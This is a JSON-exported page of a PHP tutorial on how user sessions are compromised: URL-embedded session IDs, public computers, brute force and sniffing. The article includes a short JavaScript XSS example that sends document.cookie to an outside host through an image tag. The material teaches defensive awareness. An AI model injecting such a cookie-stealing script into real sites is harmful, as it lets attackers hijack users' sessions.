{"id":1571,"date":"2018-01-19T19:23:00","date_gmt":"2018-01-19T19:23:00","guid":{"rendered":"http:\/\/goofy-trucks.flywheelsites.com\/validating-php-user-sessions-page-3\/"},"modified":"2018-01-19T19:24:53","modified_gmt":"2018-01-19T19:24:53","slug":"validating-php-user-sessions-page-3","status":"publish","type":"post","link":"https:\/\/phpbuilder.com\/validating-php-user-sessions-page-3\/","title":{"rendered":"Validating PHP User Sessions Page 3"},"content":{"rendered":"<div class=\"phpbuilder-content\">\n<div class=\"phpbuilder-meta\">\n<div class=\"\">By PHP Builder Staff<\/div>\n<div class=\"\">on April 4, 2008<\/div>\n<\/p><\/div>\n<div id=\"overflow-content\">\n<h1>Validating PHP User Sessions<\/h1>\n<h2>Session Vulnerabilities<\/h2>\n<div class=\"articlePara\">Unfortunately, while PHP makes it easy to create sessions, there are many ways for session security to be compromised.  Probably the easiest way that a session can be compromised is when URL rewriting is done.  Since URL rewriting puts the session identifier directly into the URL, an unwary user who copies and pastes his or her URL and sends it to people will inadvertently be compromising the session.  Also, if the site links to external sites, the session identifier may show up in referrer logs on the other site.  So, for these reasons, it is generally considered safer to use cookies.<\/div>\n<div class=\"articlePara\">Another simple way that sessions can be compromised is when users are using public computers.  When using cookies, there is the potential that the cookie could be left on the computer after the user is finished, leaving an open door.  Alternatively, if URL rewriting is used, a session could be compromised as simply as the subsequent user browsing through the history.  If the user doesn??t manually click ??logout?? or closes the browser thinking that it will automatically log him or her out there are a number of potential security risks when using URL rewriting, when the cookie has an expiration time instead of ending when the browser window closes, and&#8211;particularly&#8211;if the session doesn??t ??timeout?? within a short amount of time.<\/div>\n<div class=\"articlePara\">The most creative way that I have seen sessions compromised, however, is generally done on bulletin boards, etc., that allow HTML user input to be displayed on the site.  A hacker will register on the site, and then make posts in various places on the site that allow HTML input.  Within those posts, s\/he will include some JavaScript that will insert an image tag, which is actually a link to an application that harvests cookie data.  This is done similar to what you see below:<\/div>\n<div class=\"example\"><code><\/p>\n<pre>&lt;script type='text\/javascript'&gt;\n  document.write(\"&lt;img src='http:\/\/site.com\/url.php?cookie=\"+\n    document.cookie+\"' \/&gt;\");\n&lt;\/script&gt;<\/pre>\n<p><\/code><\/div>\n<div class=\"articlePara\">In the above script, the hacker is putting the JavaScript ??document.cookie?? into the URL.  So, when the user??s browser parses the JavaScript and attempts to load the image, it also sends along the viewing user??s cookie information, which compromises that user??s session.  The hacker can then, at his or her leisure, go through the list of session identifiers hoping to find someone with admin access, etc., in order to hack the site.<\/div>\n<div class=\"articlePara\">All of the above is not to mention the more active hackers who either write programs that will continually try to brute-force their way into a system by trying random session identifiers, or someone who is able to gain access to network traffic and read any non-encrypted traffic&#8211;thereby potentially gaining access to all session data being passed to a site.  I doubt that most websites will ever have to worry about these kinds of attacks unless they become a high profile site.  Nonetheless, it is good to know the possibilities, which makes clear that some precautions need to be taken other than blindly accepting the session identifier, which will be discussed next.<\/div>\n<\/div>\n<p><\/p>\n<div style=\"float: left; padding:15px; color:#17AAF3\">\n<div style=\"float:left; padding:2px;\"><a class=\"paginationPageLink\" href=\"validating_php_user_sessions4658.html?page=2\">\u00ab Previous Page<\/a><\/div>\n<div style=\"float:left; padding:2px 4px 2px 4px;\"><a class=\"pageNumber\" href=\"validating_php_user_sessions.html\">1<\/a> <\/div>\n<div style=\"float:left; font-size:16px; color:#FF7A22; padding:2px 2px 2px 2px; \">| <\/div>\n<div style=\"float:left; padding:2px 4px 2px 4px;\"><a class=\"pageNumber\" href=\"validating_php_user_sessions4658.html?page=2\">2<\/a> <\/div>\n<div style=\"float:left; font-size:16px; color:#FF7A22; padding:2px 2px 2px 2px; \">| <\/div>\n<div style=\"background-color:#B6E5FC; font-size:16px; margin-top:1px; padding:1px 4px 1px 4px; color:#000; font-style:bold; float:left;\">3<\/div>\n<div style=\"float:left; font-size:16px; color:#FF7A22; padding:2px 2px 2px 2px; \">| <\/div>\n<div style=\"float:left; padding:2px 4px 2px 4px;\"><a class=\"pageNumber\" href=\"validating_php_user_sessionsfdb0.html?page=4\">4<\/a> <\/div>\n<div style=\"float:left; font-size:16px; color:#FF7A22; padding:2px 2px 2px 2px; \">| <\/div>\n<div style=\"float:left; padding:2px 4px 2px 4px;\"><a class=\"pageNumber\" href=\"validating_php_user_sessionsaf4d.html?page=5\">5<\/a> <\/div>\n<div style=\"float:left; padding:2px;\"><a class=\"paginationPageLink\" href=\"validating_php_user_sessionsfdb0.html?page=4\">Next Page \u00bb<\/a><\/div>\n<\/div><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Sessions are the way that we &#8220;maintain state&#8221; from one page to the next, that is, how we identify specific users across multiple page requests. This<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-1571","post","type-post","status-publish","format-standard","hentry","category-tutorials"],"_links":{"self":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts\/1571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/comments?post=1571"}],"version-history":[{"count":1,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts\/1571\/revisions"}],"predecessor-version":[{"id":3395,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts\/1571\/revisions\/3395"}],"wp:attachment":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/media?parent=1571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/categories?post=1571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/tags?post=1571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}